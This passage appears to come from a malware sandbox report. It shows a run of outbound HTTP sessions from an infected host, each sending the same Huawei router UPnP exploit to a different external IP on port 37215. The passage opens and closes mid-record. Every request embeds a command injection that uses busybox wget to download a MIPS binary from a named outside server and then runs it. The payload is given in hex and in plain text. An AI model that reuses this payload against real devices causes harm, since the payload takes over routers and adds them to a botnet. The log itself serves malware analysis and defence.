41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.23	38152	156.64.119.227	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.801758051 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.23	37384	197.59.205.72	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.801840067 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.23	53726	197.167.188.184	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.801917076 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.23	47630	156.44.235.16	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.802009106 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.23	46368	197.41.187.197	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.802079916 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.23	56880	197.163.246.243	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.802203894 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.23	42846	156.158.172.243	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.802306890 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.23	48340	41.182.228.106	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.802365065 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.23	35196	156.30.14.110	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.802443981 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.23	43962	41.128.193.69	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.802527905 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.23	50946	41.237.37.216	37215

Timestamp	Bytes transferred	Direction	Data
